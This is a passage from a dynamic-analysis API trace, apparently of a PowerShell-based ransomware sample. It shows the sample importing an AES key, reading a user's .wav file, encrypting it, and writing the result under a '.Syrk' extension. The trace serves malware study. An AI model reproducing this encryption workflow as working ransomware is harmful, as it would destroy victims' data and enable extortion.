(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0242.107] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.107] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0242.107] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0242.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0242.108] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.108] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0242.108] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0242.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0242.108] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.108] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0242.108] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0242.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0242.108] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.109] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0242.109] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0242.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0242.109] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.109] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0242.109] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0242.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0242.109] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.109] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0242.109] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0242.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0242.110] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.110] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0242.110] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0242.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0242.110] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.110] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0242.110] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0242.111] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0242.111] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0242.111] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0242.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0242.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0242.111] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0242.111] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0242.111] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0242.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0242.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0242.111] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0242.112] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0242.112] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0242.112] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0242.112] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0242.112] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0242.112] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0242.112] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0242.112] EtwEventActivityIdControl () returned 0x0 [0242.113] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0242.113] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0242.113] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0242.113] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0242.114] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x373f80) returned 1 [0242.116] CryptImportKey (in: hProv=0x373f80, pbData=0x246eefc*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c68e80) returned 1 [0242.116] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.117] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.117] EtwEventActivityIdControl () returned 0x0 [0242.117] EtwEventActivityIdControl () returned 0x0 [0242.117] EtwEventActivityIdControl () returned 0x0 [0242.124] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav")) returned 0x20 [0242.125] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav")) returned 0x20 [0242.125] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.125] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", lpFilePart=0x0) returned 0x49 [0242.126] EtwEventActivityIdControl () returned 0x0 [0242.126] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.126] EtwEventActivityIdControl () returned 0x0 [0242.126] EtwEventActivityIdControl () returned 0x0 [0242.126] EtwEventActivityIdControl () returned 0x0 [0242.127] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.128] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", lpFilePart=0x0) returned 0x49 [0242.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0242.128] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0242.128] GetFileType (hFile=0x454) returned 0x1 [0242.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0242.128] GetFileType (hFile=0x454) returned 0x1 [0242.128] EtwEventActivityIdControl () returned 0x0 [0242.129] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.129] EtwEventActivityIdControl () returned 0x0 [0242.129] EtwEventActivityIdControl () returned 0x0 [0242.129] EtwEventActivityIdControl () returned 0x0 [0242.130] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0242.130] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav.Syrk", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav.Syrk", lpFilePart=0x0) returned 0x4e [0242.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0242.130] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0242.131] GetFileType (hFile=0x1d4) returned 0x1 [0242.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0242.131] GetFileType (hFile=0x1d4) returned 0x1 [0242.131] EtwEventActivityIdControl () returned 0x0 [0242.131] CryptGenRandom (in: hProv=0x373f80, dwLen=0x10, pbBuffer=0x2482fac | out: pbBuffer=0x2482fac) returned 1 [0242.132] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.133] CryptDuplicateKey (in: hKey=0x5c68e80, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c69180) returned 1 [0242.133] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.133] CryptSetKeyParam (hKey=0x5c69180, dwParam=0x4, pbData=0x24842d8*=0x1, dwFlags=0x0) returned 1 [0242.133] CryptSetKeyParam (hKey=0x5c69180, dwParam=0x1, pbData=0x24842a4, dwFlags=0x0) returned 1 [0242.133] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.134] EtwEventActivityIdControl () returned 0x0 [0242.134] EtwEventActivityIdControl () returned 0x0 [0242.134] EtwEventActivityIdControl () returned 0x0 [0242.135] EtwEventActivityIdControl () returned 0x0 [0242.135] ReadFile (in: hFile=0x454, lpBuffer=0x2486f20, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2486f20*, lpNumberOfBytesRead=0x5a2e7d8*=0xa1e1, lpOverlapped=0x0) returned 1 [0242.137] CryptEncrypt (in: hKey=0x5c69180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x249af38*, pdwDataLen=0x5a2e7cc*=0xa1e0, dwBufLen=0xa1e0 | out: pbData=0x249af38*, pdwDataLen=0x5a2e7cc*=0xa1e0) returned 1 [0242.138] WriteFile (in: hFile=0x1d4, lpBuffer=0x2483088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2483088*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0242.139] WriteFile (in: hFile=0x1d4, lpBuffer=0x249bf24*, nNumberOfBytesToWrite=0x91f4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x249bf24*, lpNumberOfBytesWritten=0x5a2e7b0*=0x91f4, lpOverlapped=0x0) returned 1 [0242.140] ReadFile (in: hFile=0x454, lpBuffer=0x2486f20, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2486f20*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0242.140] CryptEncrypt (in: hKey=0x5c69180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24a5124*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24a5124*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0242.141] CryptEncrypt (in: hKey=0x5c69180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24a5140*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24a5140*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0242.141] WriteFile (in: hFile=0x1d4, lpBuffer=0x2483088*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2483088*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0242.141] CloseHandle (hObject=0x1d4) returned 1 [0242.142] CloseHandle (hObject=0x454) returned 1 [0242.143] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.143] EtwEventActivityIdControl () returned 0x0 [0242.143] EtwEventActivityIdControl () returned 0x0 [0242.143] EtwEventActivityIdControl () returned 0x0 [0242.149] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav")) returned 0x20 [0242.151] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.151] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", lpFilePart=0x0) returned 0x49 [0242.152] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0242.152] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0242.152] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0242.152] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0242.152] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0242.152] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0242.152] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0242.153] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0242.153] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0242.153] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0242.153] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0242.153] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0242.153] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0242.153] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0242.153] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0242.153] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0242.153] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0242.154] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0242.154] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0242.154] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0242.154] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0242.154] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0242.154] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0242.154] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0242.154] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq")) returned 0x10 [0242.154] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq")) returned 0x10 [0242.154] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0242.154] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", lpFilePart=0x0) returned 0x3c [0242.155] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav" (normalized: 